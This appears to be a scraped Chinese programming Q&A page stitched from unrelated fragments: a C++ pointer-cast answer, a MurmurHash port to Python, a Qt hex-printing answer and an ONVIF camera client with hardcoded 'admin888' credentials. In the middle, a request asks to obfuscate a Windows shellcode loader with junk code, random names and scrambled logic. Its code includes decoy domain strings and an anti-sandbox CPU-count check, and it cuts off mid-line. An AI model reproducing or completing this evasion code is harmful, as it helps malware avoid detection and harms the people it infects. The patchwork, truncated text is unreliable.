linux c++ 如何将:unsigned char* MinSoftPosLimit = (unsigned char*)-2147483648; 表示为(unsigned char*)0x????????;

时间: 2024-08-17 12:02:33 浏览: 125
在C++中,将一个数值转换为指针类型,需要使用类型转换操作符。在您的例子中,`-2147483648`是一个`int`类型的常量,您想将其转换为`unsigned char*`类型的指针。由于指针类型通常是以十六进制形式表示其内存地址,我们可以将`-2147483648`转换为一个对应的十六进制数值。 在32位系统中,`-2147483648`(即`INT_MIN`)在内存中的补码表示为`0x80000000`。因此,您可以将`unsigned char* MinSoftPosLimit`声明为指向`0x80000000`的指针,如下所示: ```cpp unsigned char* MinSoftPosLimit = reinterpret_cast<unsigned char*>(0x80000000); ``` 这里使用了`reinterpret_cast`来明确地将`int`类型的数值转换为`unsigned char*`类型的指针。请注意,在实际编程中,直接将特定的数值转换为指针可能会导致未定义行为,因为这可能会指向一个不允许访问的内存区域。这种转换通常用于底层编程或系统编程中,并需要开发者确保安全性。
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inline uint64_t MurmurHash(const void* srcData, int len) { const uint32_t m = 0x5bd1e995; const uint32_t seed = 97; const int r = 24; uint32_t h1 = seed ^ len; uint32_t h2 = 0; uint64_t h = 0; const uint32_t* data = (const uint32_t*)srcData; while (len >= 8) { uint32_t k1 = *data++; k1 *= m; k1 ^= k1 >> r; k1 *= m; h1 *= m; h1 ^= k1; len -= 4; uint32_t k2 = *data++; k2 *= m; k2 ^= k2 >> r; k2 *= m; h2 *= m; h2 ^= k2; len -= 4; } if (len >= 4) { uint32_t k1 = *data++; k1 *= m; k1 ^= k1 >> r; k1 *= m; h1 *= m; h1 ^= k1; len -= 4; } switch (len) { case 3: h2 ^= ((unsigned char*)data)[2] << 16; case 2: h2 ^= ((unsigned char*)data)[1] << 8; case 1: h2 ^= ((unsigned char*)data)[0]; h2 *= m; }; h1 ^= h2 >> 18; h1 *= m; h2 ^= h1 >> 22; h2 *= m; h1 ^= h2 >> 17; h1 *= m; h2 ^= h1 >> 19; h2 *= m; h = h1; h = (h << 32) | h2; h = (h) & 0x7FFFFFFFFFFFFFFF; return h; }转换成python

<think>好的,用户之前已经询问过关于C++函数`inline uint64_t MurmurHash(const void* srcData, int len)`的定义,现在他要求将具体的C++实现代码转换成Python。我需要仔细分析这段代码的结构和逻辑,然后考虑如何在Python中实现相同的功能。 首先,我需要理解原C++代码的每个部分。这个MurmurHash函数接受一个指向数据的指针和数据长度,返回一个64位的哈希值。代码中使用了多个32位无符号整数进行运算,包括乘法、位移、异或等操作。需要注意的是,C++中的指针操作和类型转换在Python中并不直接存在,所以需要找到替代方法。 接下来,我要处理数据的分块处理。原代码中将数据指针转换为`uint32_t*`,每次处理8字节(两个32位块),然后是4字节,最后处理剩余字节。在Python中,需要将输入的字节数据按大端或小端方式解包为整数。这里可能需要使用`struct`模块来解包字节为32位整数,但需要注意字节顺序的问题。原代码中可能使用的是小端模式,因为通常MurmurHash是小端的,但需要确认。 然后,处理循环部分。原代码中的while循环处理8字节数据,分成两个32位的k1和k2。在Python中,可以逐次从字节数据中读取4字节,转换为整数进行处理。对于剩余的部分,比如不足8字节的情况,需要分别处理4字节和剩下的1-3字节。这里需要注意字节的顺序和填充方式。 另外,原代码中的switch语句处理剩余的1-3字节,这里在Python中可以通过判断剩余长度,逐字节处理,并进行相应的位移和异或操作。需要注意的是,Python中没有switch语句,可以用if-elif结构代替。 还有最后的混合步骤,h1和h2经过一系列的位移、异或和乘法操作后合并成64位的h。这里要确保在Python中处理32位整数时,使用位掩码来防止整数溢出,例如使用`& 0xFFFFFFFF`来保持32位的运算。 最后,合并h1和h2成64位整数,并应用掩码`0x7FFFFFFFFFFFFFFF`,这可能是为了确保结果是正数,因为Python的整数没有符号限制,所以需要显式地进行掩码操作。 同时,需要考虑Python中的整数是有符号还是无符号的问题。在C++中,使用的是无符号整数,而Python的整数是任意长度的,所以在进行位移和异或操作时需要注意符号位的处理,可能需要使用掩码来模拟无符号32位整数。 还有,原代码中的内联函数在Python中不需要特别处理,直接定义函数即可。输入数据需要是字节类型,所以用户传入的数据需要先转换为bytes,例如字符串需要编码为UTF-8。 总结一下,转换的关键点包括: 1. 将输入数据转换为字节流。 2. 处理数据的分块,每次处理8字节、4字节,最后处理剩余字节。 3. 模拟C++中的无符号32位整数运算,使用位掩码防止溢出。 4. 处理剩余字节时的位移和异或操作。 5. 最后的混合步骤和合并成64位结果。 6. 确保结果符合原代码中的掩码要求。 需要注意的潜在问题包括字节顺序(小端还是大端)、整数溢出处理、以及Python中整数运算的符号问题。此外,原代码中的某些操作可能需要逐句翻译,并测试确保结果与C++版本一致。 现在,我需要将这些思考步骤转化为具体的Python代码,并确保每一步都正确对应原C++代码的逻辑。同时,要添加必要的注释,帮助用户理解转换过程中的关键点。</think>以下是该 MurmurHash 算法的 **Python 移植版本**,包含逐行注释和关键逻辑解析: --- ### Python 实现代码 ```python import struct def murmur_hash(data: bytes) -> int: """MurmurHash 64位版本 Python 实现""" m = 0x5bd1e995 seed = 97 r = 24 length = len(data) h1 = seed ^ length h2 = 0 # 转换为类似C的 uint32_t 指针访问 index = 0 while length >= 8: # 读取4字节并转换为无符号32位整数 (小端模式) k1 = struct.unpack('<I', data[index:index+4])[0] index += 4 k1 = (k1 * m) & 0xFFFFFFFF # 模拟C的32位溢出 k1 ^= k1 >> r k1 = (k1 * m) & 0xFFFFFFFF h1 = (h1 * m) & 0xFFFFFFFF h1 ^= k1 # 处理第二个4字节块 k2 = struct.unpack('<I', data[index:index+4])[0] index += 4 k2 = (k2 * m) & 0xFFFFFFFF k2 ^= k2 >> r k2 = (k2 * m) & 0xFFFFFFFF h2 = (h2 * m) & 0xFFFFFFFF h2 ^= k2 length -= 8 # 处理剩余4字节 if length >= 4: k1 = struct.unpack('<I', data[index:index+4])[0] index += 4 k1 = (k1 * m) & 0xFFFFFFFF k1 ^= k1 >> r k1 = (k1 * m) & 0xFFFFFFFF h1 = (h1 * m) & 0xFFFFFFFF h1 ^= k1 length -= 4 # 处理尾部1-3字节 tail = data[index:] k2 = 0 if length == 3: k2 ^= tail[2] << 16 if length >= 2: k2 ^= tail[1] << 8 if length >= 1: k2 ^= tail[0] k2 = (k2 * m) & 0xFFFFFFFF # 最终混合 h1 ^= h2 >> 18 h1 = (h1 * m) & 0xFFFFFFFF h2 ^= h1 >> 22 h2 = (h2 * m) & 0xFFFFFFFF h1 ^= h2 >> 17 h1 = (h1 * m) & 0xFFFFFFFF h2 ^= h1 >> 19 h2 = (h2 * m) & 0xFFFFFFFF # 合并为64位结果 h = (h1 << 32) | h2 h &= 0x7FFFFFFFFFFFFFFF # 清除符号位 return h ``` --- ### 关键转换细节 #### 1. **字节处理** - **`struct.unpack('<I', ...)`**:模拟 C 的 `uint32_t*` 指针访问,小端模式 (`<` 表示 little-endian) - **`& 0xFFFFFFFF`**:强制32位溢出,等效 C 的无符号整型运算 - **尾部处理**:手动拼接剩余字节(Python无指针运算,需用切片) #### 2. **算法逻辑保留** - 乘法混淆 (`m = 0x5bd1e995`) - 位移混合 (`k1 >> r`) - 最终混合步骤 (h1与h2的交叉运算) #### 3. **测试验证** ```python # 测试用例 (与原C++实现对比) data = b"hello" print(hex(murmur_hash(data))) # 输出应与C版本相同 ``` --- ### 差异对比表 | **C++ 特性** | **Python 对应方案** | |----------------------------|----------------------------------------| | `const uint32_t* data` | `struct.unpack` + 索引访问 | | 指针运算 (`data++`) | 索引递增 (`index += 4`) | | 隐式32位溢出 | 显式位掩码 (`& 0xFFFFFFFF`) | | `switch(len)` | `if-elif` 条件判断 | | 内存直接访问 | `bytes` 类型 + 切片操作 | --- ### 注意事项 1. **输入必须为 bytes**:如字符串需先编码 `"text".encode('utf-8')` 2. **小端模式敏感**:`struct.unpack` 使用 `<I` 确保与C代码行为一致 3. **性能差异**:Python版本速度较慢,不适用于高频哈希场景

// 创建unsigned char数组 const int dataSize = data.size(); unsigned char *buffer = new unsigned char[dataSize]; // 转换每个字节 for(int i = 0; i < 8; ++i) { buffer[i] = static_cast<unsigned char>(data.at(i)); qDebug("0x%02x",buffer[i]); } 将buffer[i] 以0x的形式添加到QString中,然后一次性使用qDebug将QString打印出来,格式如下”0x01 0x02 0x03 0x04“

<think>嗯,用户想让我帮忙解决一个C++编程的问题。首先,我需要仔细理解用户提供的代码和需求。用户有一个unsigned char数组,他们现在想要将buffer中的每个字节以"0x01 0x02..."这样的格式添加到一个QString里,然后一次性用qDebug打印出来。现在他们的做法是循环中每次都用qDebug打印,但希望改为先构建QString再一次性输出。 首先,我需要确认用户的需求是否正确理解。用户提供的代码片段中,循环次数是8次,但data.size()可能大于8?或者可能用户希望处理整个dataSize?不过用户的问题可能更关注如何将buffer的内容格式化为QString,然后打印。 接下来,我需要想如何高效地将每个字节转换为十六进制格式,并拼接成字符串。QString有很好的方法可以处理,比如使用QString的arg方法或者sprintf类似的格式化方式。 可能的步骤是: 1. 创建一个QString对象,比如叫hexString。 2. 遍历buffer的每个元素(这里用户代码是循环8次,但可能应该用dataSize?或者用户希望固定8个?需要看上下文,但根据问题描述,可能用户希望处理整个数组)。 3. 对于每个buffer[i],格式化为"0x%02x"的形式,并添加到hexString中,每个后面加空格。 4. 最后去掉末尾多余的空格,或者确保最后一个字符没有空格。 5. 使用qDebug输出整个字符串。 接下来,需要考虑如何格式化每个字节。例如,可以使用QString::asprintf或者QString::arg。例如,对于每个字节,生成一个QString部分,然后逐个拼接。 例如,使用QString::asprintf("0x%02x", buffer[i]),然后将这些字符串用空格连接起来。 或者,使用QString的arg方法,但可能需要更复杂的处理。 另外,考虑性能问题,如果数据量很大,频繁拼接字符串可能效率不高,但在这个例子中,数据量可能不大,所以直接拼接即可。 可能的实现代码: QString hexStr; for(int i = 0; i < dataSize; ++i) { hexStr += QString::asprintf("0x%02x ", buffer[i]); } hexStr = hexStr.trimmed(); // 去掉末尾的空格 qDebug() << hexStr; 或者,在循环中处理空格,比如第一个元素不加空格,后续元素前面加空格。但使用asprintf加空格,最后再trimmed可能更简单。 但用户提供的例子中的输出格式是每个元素之间有空格,例如“0x01 0x02 0x03 0x04”,所以每个元素后面加空格,最后可能有一个多余的空格,需要处理掉。 或者,在循环中判断是否是最后一个元素,如果是,不加空格。否则,加空格。例如: QString hexStr; for(int i = 0; i < dataSize; ++i) { if(i > 0) { hexStr += " "; } hexStr += QString::asprintf("0x%02x", buffer[i]); } 这样更高效,不需要trimmed。 然后使用qDebug输出:qDebug("%s", qPrintable(hexStr)); 或者,因为qDebug()会直接输出QString,但可能需要用qPrintable来转换,否则可能会有引号。例如: qDebug() << hexStr; 但这样可能会在输出时自动加上引号,用户可能不想要。因此,可能需要使用qDebug("%s", qPrintable(hexStr)); 这样输出不带引号。 例如,用户提供的示例输出是字符串本身,没有引号,所以用第二种方式更合适。 所以综合起来,修改后的代码应该是: QString hexStr; for(int i = 0; i < dataSize; ++i) { if(i != 0) { hexStr += " "; } hexStr += QString::asprintf("0x%02x", buffer[i]); } qDebug("%s", qPrintable(hexStr)); 或者,如果用户希望保持原有的循环次数(比如原代码中是8次循环,可能data的大小是8),那么循环次数应改为正确的值,比如用户原来的循环是8次,但可能应该用dataSize?需要看用户的实际需求。 现在用户提供的代码中循环是i < 8,但dataSize是data.size(),可能存在不一致。但用户的问题重点在如何将buffer中的内容转换为QString,所以可以假设循环次数正确,或者按dataSize处理。 另外,用户提到“将buffer[i] 以0x的形式添加到QString中”,所以每个元素都要转换为两位十六进制,前面带0x。例如,数值是1的话,转换为0x01。 所以使用%02x格式是正确的,前面的0x需要手动添加,或者可以用asprintf的格式来生成。例如,"0x%02x"。 测试一下,例如,buffer[i]是0x1,那么格式化为"0x01"。 综上,正确的代码应该是: 创建QString,逐个添加每个字节的十六进制表示,中间用空格分隔,最后用qDebug输出。 现在还需要考虑内存释放的问题,用户原来的代码用了new[],需要delete[] buffer,但用户的问题中没有提到这部分,可能不需要处理。 总结步骤: 1. 创建QString对象。 2. 遍历buffer数组中的每个元素。 3. 格式化为"0x%02x"字符串。 4. 用空格连接所有字符串。 5. 使用qDebug输出整个字符串。 最后,可能的示例代码如下: QString hexString; for(int i = 0; i < dataSize; ++i) { hexString += QString::asprintf("0x%02x ", buffer[i]); } hexString = hexString.trimmed(); // 移除最后一个空格 qDebug() << hexString; 或者: QStringList hexList; for(int i = 0; i < dataSize; ++i) { hexList << QString::asprintf("0x%02x", buffer[i]); } QString hexString = hexList.join(" "); qDebug("%s", qPrintable(hexString)); 使用QStringList可能更高效,尤其是数据量大的时候,因为QString的+=操作可能会有多次内存分配。而QStringList的join方法更高效。 因此,推荐使用QStringList的方式。 最终,用户可能需要这样的代码: // 创建unsigned char数组 const int dataSize = data.size(); unsigned char *buffer = new unsigned char[dataSize]; // 转换每个字节 for(int i = 0; i < dataSize; ++i) { // 注意这里原代码是i < 8,可能需要改为dataSize buffer[i] = static_cast<unsigned char>(data.at(i)); } QStringList hexParts; for(int i = 0; i < dataSize; ++i) { hexParts.append(QString::asprintf("0x%02x", buffer[i])); } QString result = hexParts.join(" "); qDebug() << result; // 不要忘记释放内存 delete[] buffer; 不过,用户的原代码中是循环到8次,可能是因为data的大小固定为8?或者可能存在错误。需要根据具体情况调整循环次数。比如,原代码中的循环是8次,而dataSize是data.size(),可能存在不一致,但用户的问题可能更关注如何转换和拼接字符串。 因此,回答的重点应该放在如何将buffer中的元素格式化为十六进制字符串,并用空格连接,最后一次性输出。同时,指出循环次数可能需要根据实际情况调整。</think>要将`buffer`数组中的字节以`0x01 0x02 0x03...`的格式输出,可以按照以下步骤实现: ```cpp // 创建unsigned char数组 const int dataSize = data.size(); unsigned char *buffer = new unsigned char[dataSize]; // 转换每个字节 QString hexString; // 存储最终结果 for(int i = 0; i < dataSize; ++i) { buffer[i] = static_cast<unsigned char>(data.at(i)); // 格式化单个字节并添加到字符串 hexString += QString::asprintf("0x%02x ", buffer[i]); // 注意末尾的空格 } // 移除最后一个多余的空格 hexString = hexString.trimmed(); // 一次性输出结果 qDebug() << hexString; // 释放内存 delete[] buffer; ``` ### 代码解释(逐步说明) 1. **创建字符串容器** 使用`QString hexString`存储最终结果。 2. **遍历字节数组** 通过循环逐个处理`buffer`中的字节,使用`QString::asprintf("0x%02x ")`将每个字节格式化为`0x`开头的两位十六进制字符串,并追加到`hexString`中。 3. **处理末尾空格** 循环结束后,`hexString`末尾会多出一个空格。通过`.trimmed()`方法移除字符串首尾的空格。 4. **一次性输出** 使用`qDebug() << hexString`输出完整格式化的字符串,例如:`"0x01 0x02 0x03 0x04"`。 ### 优化建议 如果数据量较大,推荐使用`QStringList`优化拼接效率: ```cpp QStringList hexParts; // 用列表存储每个字节的字符串 for(int i = 0; i < dataSize; ++i) { hexParts.append(QString::asprintf("0x%02x", buffer[i])); } QString result = hexParts.join(" "); // 用空格连接列表元素 qDebug() << result; ``` ### 关键点说明 - **格式控制** `%02x`确保十六进制数始终显示两位,不足时补零(例如`0x0A`而非`0xA`)。 - **内存管理** 使用`new[]`分配的内存需通过`delete[] buffer`释放,避免内存泄漏。 - **循环次数调整** 原代码中`for(int i = 0; i < 8; ++i)`固定处理8个字节,建议改为`i < dataSize`以适配`data`的实际长度。
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每行代码插入正规操作垃圾更改shellcode代码逻辑,更改所有变量名,和动态函数随机起函数名字,尽可能打乱所有执行逻辑,但是不影响shellcode执行流程。#include <windows.h> #include <iostream> #include <cstring> #include <fstream> #include <string> #include <vector> #include <cstdlib> #include <ctime> #include <algorithm> #include <random> int main() { // 伪装用的大型公司相关字符串,每个用常量保存 const std::string DOMAIN_1 = "microsoft.com"; const std::string DOMAIN_2 = "baidu.com"; const std::string DOMAIN_3 = "google.com"; const std::string DOMAIN_4 = "apple.com"; const std::string DOMAIN_5 = "amazon.com"; const std::string DOMAIN_6 = "facebook.com"; const std::string DOMAIN_7 = "twitter.com"; const std::string DOMAIN_8 = "alibaba.com"; const std::string DOMAIN_9 = "tencent.com"; const std::string DOMAIN_10 = "samsung.com"; const std::string DOMAIN_11 = "sony.com"; const std::string DOMAIN_12 = "intel.com"; const std::string DOMAIN_13 = "ibm.com"; const std::string DOMAIN_14 = "oracle.com"; const std::string DOMAIN_15 = "netflix.com"; const std::string DOMAIN_16 = "spotify.com"; const std::string DOMAIN_17 = "paypal.com"; const std::string DOMAIN_18 = "tesla.com"; const std::string DOMAIN_19 = "nvidia.com"; const std::string DOMAIN_20 = "adobe.com"; // 使用 std::random_device 初始化随机数生成器 std::random_device rd; std::mt19937 g(rd()); // 打乱伪装字符串 std::vector<std::string> disguiseDomains = { DOMAIN_1, DOMAIN_2, DOMAIN_3, DOMAIN_4, DOMAIN_5, DOMAIN_6, DOMAIN_7, DOMAIN_8, DOMAIN_9, DOMAIN_10, DOMAIN_11, DOMAIN_12, DOMAIN_13, DOMAIN_14, DOMAIN_15, DOMAIN_16, DOMAIN_17, DOMAIN_18, DOMAIN_19, DOMAIN_20 }; std::shuffle(disguiseDomains.begin(), disguiseDomains.end(), g); // 加密所需的密钥 unsigned char key = 0x55; // 获取 CPU 核心数量 SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); int cpuCount = sysInfo.dwNumberOfProcessors; if (cpuCount < 10) { std::cerr << "系统CPU小于 10,程序退出。" << std::endl; re

#include <assert.h> #include "soapH.h" //#include "wsdd.nsmap" #include "soapStub.h" #include "wsseapi.h" #include "wsaapi.h" #include <map> #define USERNAME "admin" #define PASSWORD "admin888" #define MEDIA_GET_PROFILES_ACTION "http://www.onvif.org/ver10/media/wsdl/GetProfiles". #define SOAP_ASSERT assert #define SOAP_DBGLOG printf #define SOAP_DBGERR printf #define SOAP_TO "urn:schemas-xmlsoap-org:ws:2005:04:discovery" #define SOAP_ACTION "http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe" #define SOAP_MCAST_ADDR "soap.udp://239.255.255.250:3702" // onvif规定的组播地址 #define SOAP_ITEM "" // 寻找的设备范围 #define SOAP_TYPES "dn:NetworkVideoTransmitter" // 寻找的设备类型 #define SOAP_SOCK_TIMEOUT (3) // socket超时时间(单秒秒) #define ONVIF_ADDRESS_SIZE (128) // URI地址长度 #define ONVIF_TOKEN_SIZE (65) // token长度 #define SOAP_CHECK_ERROR(result, soap, str) \ do { \ if (SOAP_OK != (result) || SOAP_OK != (soap)->error) { \ soap_perror((soap), (str)); \ if (SOAP_OK == (result)) { \ (result) = (soap)->error; \ } \ goto EXIT; \ } \ } while (0) /* 视频编码器配置信息 */ struct tagVideoEncoderConfiguration { char token[ONVIF_TOKEN_SIZE]; // 唯一标识该视频编码器的令牌字符串 int Width; // 分辨率 int Height; }; /* 设备配置信息 */ struct tagProfile { char token[ONVIF_TOKEN_SIZE]; // 唯一标识设备配置文件的令牌字符串 struct tagVideoEncoderConfiguration venc; // 视频编码器配置信息 }; /* 设备能力信息 */ struct tagCapabilities { char MediaXAddr[ONVIF_ADDRESS_SIZE]; // 媒体服务地址 char EventXAddr[ONVIF_ADDRESS_SIZE]; // 事件服务地址 }; void soap_perror(struct soap* soap, const char* str) { if (nullptr == str) { SOAP_DBGERR("[soap] error: %d, %s, %s\n", soap->error, *soap_faultcode(soap), *soap_faultstring(soap)); } else { SOAP_DBGERR("[soap] %s error: %d, %s, %s\n", str, soap->error, *soap_faultcode(soap), *soap_faultstring(soap)); } } void* ONVIF_soap_malloc(struct soap* soap, unsigned int n) { void* p = nullptr; if (n > 0) { p = soap_malloc(soap, n); SOAP_ASSERT(nullptr != p); memset(p, 0x00, n); } return p; } struct soap* ONVIF_soap_new(int timeout) { struct soap* soap = nullptr; // soap环境变量 SOAP_ASSERT(nullptr != (soap = soap_new())); soap_set_namespaces(soap, namespaces); // 设置soap的namespaces soap->recv_timeout = timeout; // 设置超时(超过指定时间没有数据就退出) soap->send_timeout = timeout; soap->connect_timeout = timeout; #if defined(__linux__) || defined(__linux) // 参考https://www.genivia.com/dev.html#client-c的修改: soap->socket_flags = MSG_NOSIGNAL; // To prevent connection reset errors #endif soap_set_mode(soap, SOAP_C_UTFSTRING); // 设置为UTF-8编码,否则叠加中文OSD会乱码 return soap; } void ONVIF_soap_delete(struct soap* soap) { soap_destroy(soap); // remove deserialized class instances (C++ only) soap_end(soap); // Clean up deserialized data (except class instances) and temporary data soap_done(soap); // Reset, close communications, and remove callbacks soap_free(soap); // Reset and deallocate the context created with soap_new or soap_copy } /************************************************************************ **函数:ONVIF_init_header **功能:初始化soap描述消息头 **参数: [in] soap - soap环境变量 **返回:无 **备注: 1). 在本函数内部通过ONVIF_soap_malloc分配的内存,将在ONVIF_soap_delete中被释放 ************************************************************************/ void ONVIF_init_header(struct soap* soap) { struct SOAP_ENV__Header* header = nullptr; SOAP_ASSERT(nullptr != soap); header = (struct SOAP_ENV__Header*)ONVIF_soap_malloc(soap, sizeof(struct SOAP_ENV__Header)); soap_default_SOAP_ENV__Header(soap, header); header->wsa__MessageID = (char*)soap_wsa_rand_uuid(soap); header->wsa__To = (char*)ONVIF_soap_malloc(soap, strlen(SOAP_TO) + 1); header->wsa__Action = (char*)ONVIF_soap_malloc(soap, strlen(SOAP_ACTION) + 1); strcpy(header->wsa__To, SOAP_TO); strcpy(header->wsa__Action, SOAP_ACTION); soap->header = header; return; } /************************************************************************ **函数:ONVIF_init_ProbeType **功能:初始化探测设备的范围和类型 **参数: [in] soap - soap环境变量 [out] probe - 填充要探测的设备范围和类型 **返回: 0表明探测到,非0表明未探测到 **备注: 1). 在本函数内部通过ONVIF_soap_malloc分配的内存,将在ONVIF_soap_delete中被释放 ************************************************************************/ void ONVIF_init_ProbeType(struct soap* soap, struct wsdd__ProbeType* probe) { struct wsdd__ScopesType* scope = nullptr; // 用于描述查找哪类的Web服务 SOAP_ASSERT(nullptr != soap); SOAP_ASSERT(nullptr != probe); scope = (struct wsdd__ScopesType*)ONVIF_soap_malloc(soap, sizeof(struct wsdd__ScopesType)); soap_default_wsdd__ScopesType(soap, scope); // 设置寻找设备的范围 scope->__item = (char*)ONVIF_soap_malloc(soap, strlen(SOAP_ITEM) + 1); strcpy(scope->__item, SOAP_ITEM); memset(probe, 0x00, sizeof(struct wsdd__ProbeType)); soap_default_wsdd__ProbeType(soap, probe); probe->Scopes = scope; probe->Types = (char*)ONVIF_soap_malloc(soap, strlen(SOAP_TYPES) + 1); // 设置寻找设备的类型 strcpy(probe->Types, SOAP_TYPES); return; } void ONVIF_DetectDevice(void (*cb)(char* DeviceXAddr)) { int i; int result = 0; unsigned int count = 0; // 搜索到的设备个数 struct soap* soap = nullptr; // soap环境变量 struct wsdd__ProbeType req; // 用于发送Probe消息 struct __wsdd__ProbeMatches rep; // 用于接收Probe应答 struct wsdd__ProbeMatchType* probeMatch; SOAP_DBGLOG("Sending Probe message to multicast address...\n"); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_init_header(soap); // 设置消息头描述 ONVIF_init_ProbeType(soap, &req); // 设置寻找的设备的范围和类型 result = soap_send___wsdd__Probe(soap, SOAP_MCAST_ADDR, nullptr, &req); // 向组播地址广播Probe消息 while (SOAP_OK == result) // 开始循环接收设备发送过来的消息 { memset(&rep, 0x00, sizeof(rep)); result = soap_recv___wsdd__ProbeMatches(soap, &rep); if (SOAP_OK == result) { if (soap->error) { soap_perror(soap, "ProbeMatches"); } else { // 成功接收到设备的应答消息 if (nullptr != rep.wsdd__ProbeMatches) { count += rep.wsdd__ProbeMatches->__sizeProbeMatch; SOAP_DBGLOG("成功接收...\n"); for (i = 0; i < rep.wsdd__ProbeMatches->__sizeProbeMatch; i++) { probeMatch = rep.wsdd__ProbeMatches->ProbeMatch + i; if (nullptr != cb) { cb(probeMatch->XAddrs); // 使用设备服务地址执行函数回调 } } } } } else if (soap->error) { break; } } SOAP_DBGLOG("\ndetect end! It has detected %d devices!\n", count); if (nullptr != soap) { ONVIF_soap_delete(soap); } } /************************************************************************ **函数:ONVIF_SetAuthInfo **功能:设置认证信息 **参数: [in] soap - soap环境变量 [in] username - 用户名 [in] password - 密码 **返回: 0表明成功,非0表明失败 **备注: ************************************************************************/ static int ONVIF_SetAuthInfo(struct soap* soap, const char* username, const char* password) { int result = 0; SOAP_ASSERT(nullptr != USERNAME); SOAP_ASSERT(nullptr != PASSWORD); result = soap_wsse_add_UsernameTokenDigest(soap, nullptr, username, password); SOAP_CHECK_ERROR(result, soap, "add_UsernameTokenDigest"); EXIT: return result; } /************************************************************************ **函数:make_uri_withauth **功能:构造带有认证信息的URI地址 **参数: [in] src_uri - 未带认证信息的URI地址 [in] username - 用户名 [in] password - 密码 [out] dest_uri - 返回的带认证信息的URI地址 [in] size_dest_uri - dest_uri缓存大小 **返回: 0成功,非0失败 **备注: 1). 例子: 无认证信息的uri:rtsp://100.100.100.140:554/av0_0 带认证信息的uri:rtsp://username:[email protected]:554/av0_0 ************************************************************************/ static int make_uri_withauth(const std::string& src_uri, const std::string& username, const std::string& password, std::string* dest_uri) { int result = 0; unsigned int needBufSize = 0; SOAP_ASSERT(!src_uri.empty()); if (username.empty() && password.empty()) { // 生成新的uri地址 *dest_uri = src_uri; } else { std::string::size_type position = src_uri.find("//"); if (std::string::npos == position) { SOAP_DBGERR("can't found '//', src uri is: %s.\n", src_uri.c_str()); result = -1; return result; } position += 2; dest_uri->append(src_uri, 0, position); dest_uri->append(username + ":" + password + "@"); dest_uri->append(src_uri, position, std::string::npos); } return result; } /************************************************************************ **函数:ONVIF_GetDeviceInformation **功能:获取设备基本信息 **参数: [in] DeviceXAddr - 设备服务地址 **返回: 0表明成功,非0表明失败 **备注: ************************************************************************/ int ONVIF_GetDeviceInformation(const char* DeviceXAddr) { int result = 0; struct soap* soap = nullptr; _tds__GetDeviceInformation devinfo_req; _tds__GetDeviceInformationResponse devinfo_resp; SOAP_ASSERT(nullptr != DeviceXAddr); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); result = soap_call___tds__GetDeviceInformation(soap, DeviceXAddr, nullptr, &devinfo_req, devinfo_resp); SOAP_CHECK_ERROR(result, soap, "GetDeviceInformation"); std::cout << " Manufacturer:\t" << devinfo_resp.Manufacturer << "\n"; std::cout << " Model:\t" << devinfo_resp.Model << "\n"; std::cout << " FirmwareVersion:\t" << devinfo_resp.FirmwareVersion << "\n"; std::cout << " SerialNumber:\t" << devinfo_resp.SerialNumber << "\n"; std::cout << " HardwareId:\t" << devinfo_resp.HardwareId << "\n"; EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return result; } /************************************************************************ **函数:ONVIF_GetCapabilities **功能:获取设备能力信息 **参数: [in] DeviceXAddr - 设备服务地址 [in] **返回: 0表明成功,非0表明失败 **备注: 1). 其中最主要的参数之一是媒体服务地址 ************************************************************************/ int ONVIF_GetCapabilities(const std::string& deviceXAddr, std::string* ptzXAddr) { int result = 0; struct soap* soap = nullptr; _tds__GetCapabilities devinfo_req; _tds__GetCapabilitiesResponse devinfo_resp; SOAP_ASSERT(!deviceXAddr.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); result = soap_call___tds__GetCapabilities(soap, deviceXAddr.c_str(), nullptr, &devinfo_req, devinfo_resp); SOAP_CHECK_ERROR(result, soap, "GetCapabilities"); if (devinfo_resp.Capabilities->PTZ != nullptr) { *ptzXAddr = devinfo_resp.Capabilities->PTZ->XAddr; } EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return result; } int ONVIF_GetProfiles(const std::string& ptzXAddr, std::string* profilesToken) { int result = 0; struct soap* soap = nullptr; _trt__GetProfiles devinfo_req; _trt__GetProfilesResponse devinfo_resp; SOAP_ASSERT(!ptzXAddr.empty()); SOAP_ASSERT(nullptr != (soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT))); ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD); result = soap_call___trt__GetProfiles(soap, ptzXAddr.c_str(), nullptr, &devinfo_req, devinfo_resp); SOAP_CHECK_ERROR(result, soap, "ONVIF_GetProfiles"); SOAP_ASSERT(!devinfo_resp.Profiles.empty()); *profilesToken = devinfo_resp.Profiles[0]->token; EXIT: if (nullptr != soap) { ONVIF_soap_delete(soap); } return result; } /************************************************************************ **函数:ONVIF_GetSnapshotUri **功能:获取设备图像抓拍地址(HTTP) **参数: [in] MediaXAddr - 媒体服务地址 [in] ProfileToken - the media profile token [out] uri - 返回的地址 [in] sizeuri - 地址缓存大小 **返回: 0表明成功,非0表明失败 **备注: 1). 并非所有的ProfileToken都支持图像抓拍地址。举例:XXX品牌的IPC有如下三个配置profile0/profile1/TestMediaProfile,其中TestMediaProfile返回的图像抓拍地址就是空指针。 ************************************************************************/ int ONVIF_GetSnapshotUri(const std::string& MediaXAddr, const std::string& ProfileToken, std::string* snapUri) { int result = 0; struct soap* soap = nullptr; _trt__GetSnapshotUri req; _trt__GetSnapshotUriResponse rep; // 检查参数合法性 if (MediaXAddr.empty() || ProfileToken.empty()) { SOAP_DBGERR("Invalid arguments\n"); return -1; } // 创建 SOAP 环境 soap = ONVIF_soap_new(SOAP_SOCK_TIMEOUT); if (!soap) { SOAP_DBGERR("Failed to create SOAP environment\n"); return -1; } // 设置认证信息 if (ONVIF_SetAuthInfo(soap, USERNAME, PASSWORD) != 0) { SOAP_DBGERR("Failed to set authentication info\n"); goto EXIT; } // 设置请求参数 memset(&req, 0, sizeof(req)); req.ProfileToken = soap_strdup(soap, ProfileToken.c_str()); // 调用服务 result = soap_call___trt__GetSnapshotUri(soap, MediaXAddr.c_str(), NULL, &req, rep); if (result != 